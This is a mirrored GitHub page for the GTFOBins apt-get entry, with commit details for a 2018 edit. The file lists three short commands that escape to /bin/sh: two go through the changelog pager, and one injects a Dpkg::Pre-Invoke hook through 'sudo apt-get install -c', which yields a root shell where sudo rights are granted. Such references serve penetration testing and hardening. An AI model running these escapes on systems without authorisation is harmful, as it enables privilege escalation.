1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/apt-get.md
Andrea Cardaci 46fd726c5a Improve 'apt-* install' entries
Improve description, enforce standards and make sure that the package will not
be installed.

Related #38.
2018-11-29 14:25:49 +01:00

592 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. apt-get changelog apt !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo apt-get changelog apt !/bin/sh
description code
For this to work the target package (e.g., `sl`) must not be installed. sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl